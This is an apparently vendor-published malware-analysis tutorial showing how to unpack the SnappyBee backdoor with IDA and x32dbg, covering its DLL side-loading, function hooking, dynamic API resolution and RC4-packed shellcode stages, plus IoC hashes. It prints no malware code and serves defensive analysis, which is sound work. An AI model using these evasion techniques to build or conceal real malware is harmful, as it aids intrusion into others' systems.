SnappyBee (also known as Deed RAT) is a modular backdoor that has been previously attributed to China-linked cyber espionage group Salt Typhoon, also known as Earth Estries [1] [2]. The malware was first publicly documented by TrendMicro in November 2024 as part of their investigation into long running campaigns targeting various industries and governments by China-linked threat groups.

In these campaigns, SnappyBee is deployed post-compromise, after the attacker has already obtained access to a customer's system, and is used to establish long-term persistence as well as deploying further malware such as Cobalt Strike and the Demodex rootkit.

To decrease the chance of detection, SnappyBee uses a custom packing routine. Packing is a common technique used by malware to obscure its true payload by hiding it and then stealthily loading and executing it at runtime. This hinders analysis and helps the malware evade detection, especially during static analysis by both human analysts and anti-malware services.

This blog is a practical guide on how an analyst can unpack and analyze SnappyBee, while also learning the necessary skills to triage other malware samples from advanced threat groups.

First principles

Packing is not a new technique, and threat actors have generally converged on a standard approach. Packed binaries typically feature two main components: the packed data and an unpacking stub, also called a loader, to unpack and run the data.

Typically, malware developers insert a large blob of unreadable data inside an executable, such as in the .rodata section. This data blob is the true payload of the malware, but it has been put through a process such as encryption, compression, or another form of manipulation to render it unreadable. Sometimes, this data blob is instead shipped in a different file, such as a .dat file, or a fake image. When this happens, the main loader has to read this using a syscall, which can be useful for analysis as syscalls can be easily identified, even in heavily obfuscated binaries.

In the main executable, malware developers will typically include an unpacking stub that takes the data blob, performs one or more operations on it, and then triggers its execution. In most samples, the decoded payload data is loaded into a newly allocated memory region, which will then be marked as executable and executed. In other cases, the decoded data is instead dropped into a new executable on disk and run, but this is less common as it increases the likelihood of detection.

Finding the unpacking routine

The first stage of analysis is uncovering the unpacking routine so it can be reverse engineered. There are several ways to approach this, but it is traditionally first triaged via static analysis on the initial stages available to the analyst.

SnappyBee consists of two components that can be analyzed:

  • A Dynamic-link Library (DLL) that acts as a loader, responsible for unpacking the malicious code
  • A data file shipped alongside the DLL, which contains the encrypted malicious code

Additionally, SnappyBee includes a legitimate signed executable that is vulnerable to DLL side-loading. This means that when the executable is run, it will inadvertently load SnappyBee’s DLL instead of the legitimate one it expects. This allows SnappyBee to appear more legitimate to antivirus solutions.

The first stage of analysis is performing static analysis of the DLL. This can be done by opening the DLL within a disassembler such as IDA Pro. Upon opening the DLL, IDA will display the DllMain function, which is the malware’s initial entry point and the first code executed when the DLL is loaded.

The DllMain function
Figure 1: The DllMain function

First, the function checks if the variable fdwReason is set to 1, and exits if it is not. This variable is set by Windows to indicate why the DLL was loaded. According to Microsoft Developer Network (MSDN), a value of 1 corresponds to DLL_PROCESS_ATTACH, meaning “The DLL is being loaded into the virtual address space of the current process as a result of the process starting up or as a result of a call to LoadLibrary” [3]. Since SnappyBee is known to use DLL sideloading for execution, DLL_PROCESS_ATTACH is the expected value when the legitimate executable loads the malicious DLL.

SnappyBee then uses the GetModule and GetProcAddress to dynamically resolve the address of the VirtualProtect in kernel32 and StartServiceCtrlDispatcherW in advapi32. Resolving these dynamically at runtime prevents them from showing up as a static import for the module, which can help evade detection by anti-malware solutions. Different regions of memory have different permissions to control what they can be used for, with the main ones being read, write, and execute. VirtualProtect is a function that changes the permissions of a given memory region.

SnappyBee then uses VirtualProtect to set the memory region containing the code for the StartServiceCtrlDispatcherW function as writable. It then inserts a jump instruction at the start of this function, redirecting the control flow to one of the SnappyBee DLL’s other functions, and then restores the old permissions.

In practice, this means when the legitimate executable calls StartServiceCtrlDispatcherW, it will immediately hand execution back to SnappyBee. Meanwhile, the call stack now appears more legitimate to outside observers such as antimalware solutions.

The hooked-in function then reads the data file that is shipped with SnappyBee and loads it into a new memory allocation. This pattern of loading the file into memory likely means it is responsible for unpacking the next stage.

The start of the unpacking routine that reads in dbindex.dat.
Figure 2: The start of the unpacking routine that reads in dbindex.dat.

SnappyBee then proceeds to decrypt the memory allocation and execute the code.

The memory decryption routine.
Figure 3: The memory decryption routine.

This section may look complex, however it is fairly straight forward. Firstly, it uses memset to zero out a stack variable, which will be used to store the decryption key. It then uses the first 16 bytes of the data file as a decryption key to initialize the context from.

SnappyBee then calls the mbed_tls_arc4_crypt function, which is a function from the mbedtls library. Documentation for this function can be found online and can be referenced to better understand what each of the arguments mean [4].

The documentation for mbedtls_arc4_crypt.
Figure 4: The documentation for mbedtls_arc4_ crypt.

Comparing the decompilation with the documentation, the arguments SnappyBee passes to the function can be decoded as:

  • The context derived from 16-byte key at the start of the data is passed in as the context in the first parameter
  • The file size minus 16 bytes (to account for the key at the start of the file) is the length of the data to be decrypted
  • A pointer to the file contents in memory, plus 16 bytes to skip the key, is used as the input
  • A pointer to a new memory allocation obtained from VirtualAlloc is used as the output

So, putting it all together, it can be concluded that SnappyBee uses the first 16 bytes as the key to decrypt the data that follows , writing the output into the allocated memory region.

SnappyBee then calls VirtualProtect to set the decrypted memory region as Read + Execute, and subsequently executes the code at the memory pointer. This is clearly where the unpacked code containing the next stage will be placed.

Unpacking the malware

Understanding how the unpacking routine works is the first step. The next step is obtaining the actual code, which cannot be achieved through static analysis alone.

There are two viable methods to retrieve the next stage. The first method is implementing the unpacking routine from scratch in a language like Python and running it against the data file.

This is straightforward in this case, as the unpacking routine in relatively simple and would not require much effort to re-implement. However, many unpacking routines are far more complex, which leads to the second method: allowing the malware to unpack itself by debugging it and then capturing the result. This is the approach many analysts take to unpacking, and the following will document this method to unpack SnappyBee.

As SnappyBee is 32-bit Windows malware, debugging can be performed using x86dbg in a Windows sandbox environment to debug SnappyBee. It is essential this sandbox is configured correctly, because any mistake during debugging could result in executing malicious code, which could have serious consequences.

Before debugging, it is necessary to disable the DYNAMIC_BASE flag on the DLL using a tool such as setdllcharacteristics. This will stop ASLR from randomizing the memory addresses each time the malware runs and ensures that it matches the addresses observed during static analysis.

The first place to set a breakpoint is DllMain, as this is the start of the malicious code and the logical place to pause before proceeding. Using IDA, the functions address can be determined; in this case, it is at offset 10002DB0. This can be used in the Goto (CTRL+G) dialog to jump to the offset and place a breakpoint. Note that the “Run to user code” button may need to be pressed if the DLL has not yet been loaded by x32dbg, as it spawns a small process to load the DLL as DLLs cannot be executed directly.

The program can then run until the breakpoint, at which point the program will pause and code recognizable from static analysis can be observed.

Figure 5: The x32dbg dissassembly listing forDllMain.

In the previous section, this function was noted as responsible for setting up a hook, and in the disassembly listing the hook address can be seen being loaded at offset 10002E1C. It is not necessary to go through the whole hooking process, because only the function that gets hooked in needs to be run. This function will not be naturally invoked as the DLL is being loaded directly rather than via sideloading as it expects. To work around this, the Extended Instruction Pointer (EIP) register can be manipulated to point to the start of the hook function instead, which will cause it to run instead of the DllMain function.

To update EIP, the CRTL+G dialog can again be used to jump to the hook function address (10002B50), and then the EIP register can be set to this address by right clicking the first instruction and selecting “Set EIP here”. This will make the hook function code run next.

Figure 6: The start of the hookedin-in function

Once in this function, there are a few addresses where breakpoints should be set in order to inspect the state of the program at critical points in the unpacking process. These are:

-              10002C93, which allocates the memory for the data file and final code

-              10002D2D, which decrypts the memory

-              10002D81, which runs the unpacked code

Setting these can be done by pressing the dot next to the instruction listing, or via the CTRL+G Goto menu.

At the first breakpoint, the call to VirtualAlloc will be executed. The function returns the memory address of the created memory region, which is stored in the EAX register. In this case, the region was allocated at address 00700000.

Figure 7: The result of the VirtualAlloc call.

It is possible to right click the address and press “Follow in dump” to pin the contents of the memory to the lower pane, which makes it easy to monitor the region as the unpacking process continues.

Figure 8: The allocated memory region shown in x32dbg’s dump.

Single-stepping through the application from this point eventually reaches the call to ReadFile, which loads the file into the memory region.

Figure 9: The allocated memory region after the file is read into it, showing high entropy data.

The program can then be allowed to run until the next breakpoint, which after single-stepping will execute the call to mbedtls_arc4_crypt to decrypt the memory. At this point, the data in the dump will have changed.

Figure 10: The same memory region after the decryption is run, showing lower entropy data.

Right-clicking in the dump and selecting "Disassembly” will disassemble the data. This yields valid shell code, indicating that the unpacking succeeded, whereas corrupt or random data would be expected if the unpacking had failed.

Figure 11: The disassembly view of the allocated memory.

Right-clicking and selecting “Follow in memory map” will show the memory allocation under the memory map view. Right-clicking this then provides an option to dump the entire memory block to file.

Figure 12: Saving the allocated memory region.

This dump can then be opened in IDA, enabling further static analysis of the shellcode. Reviewing the shellcode, it becomes clear that it performs another layer of unpacking.

As the debugger is already running, the sample can be allowed to execute up to the final breakpoint that was set on the call to the unpacked shellcode. Stepping into this call will then allow debugging of the new shellcode.

The simplest way to proceed is to single-step through the code, pausing on each call instruction to consider its purpose. Eventually, a call instruction that points to one of the memory regions that were assigned will be reached, which will contain the next layer of unpacked code. Using the same disassembly technique as before, it can be confirmed that this is more unpacked shellcode.

Figure 13: The unpacked shellcode’s call to RDI, which points to more unpacked shellcode. Note this screenshot depicts the 64-bit variant of SnappyBee instead of 32-bit, however the theory is the same.

Once again, this can be dumped out and analyzed further in IDA. In this case, it is the final payload used by the SnappyBee malware.

Conclusion

Unpacking remains one of the most common anti-analysis techniques and is a feature of most sophisticated malware from threat groups. This technique of in-memory decryption reduces the forensic “surface area” of the malware, helping it to evade detection from anti-malware solutions. This blog walks through one such example and provides practical knowledge on how to unpack malware for deeper analysis.

In addition, this blog has detailed several other techniques used by threat actors to evade analysis, such as DLL sideloading to execute code without arising suspicion, dynamic API resolving to bypass static heuristics, and multiple nested stages to make analysis challenging.

Malware such as SnappyBee demonstrates a continued shift towards highly modular and low-friction malware toolkits that can be reused across many intrusions and campaigns. It remains vital for security teams  to maintain the ability to combat the techniques seen in these toolkits when responding to infections.

While the technical details of these techniques are primarily important to analysts, the outcomes of this work directly affect how a Security Operations Centre (SOC) operates at scale. Without the technical capability to reliably unpack and observe these samples, organizations are forced to respond without the full picture.

The techniques demonstrated here help close that gap. This enables security teams to reduce dwell time by understanding the exact mechanisms of a sample earlier, improve detection quality with behavior-based indicators rather than relying on hash-based detections, and increase confidence in response decisions when determining impact.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

SnappyBee Loader 1 - 25b9fdef3061c7dfea744830774ca0e289dba7c14be85f0d4695d382763b409b

SnappyBee Loader 2 - b2b617e62353a672626c13cc7ad81b27f23f91282aad7a3a0db471d84852a9ac          

SnappyBee Payload - 1a38303fb392ccc5a88d236b4f97ed404a89c1617f34b96ed826e7bb7257e296

References

[1] https://www.trendmicro.com/en_gb/research/24/k/earth-estries.html

[2] https://www.darktrace.com/blog/salty-much-darktraces-view-on-a-recent-salt-typhoon-intrusion

[3] https://learn.microsoft.com/en-us/windows/win32/dlls/dllmain#parameters

[4] https://mbed-tls.readthedocs.io/projects/api/en/v2.28.4/api/file/arc4_8h/#_CPPv418mbedtls_arc4_cryptP20mbedtls_arc4_context6size_tPKhPh

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About the author
Nathaniel Bill
Malware Research Engineer
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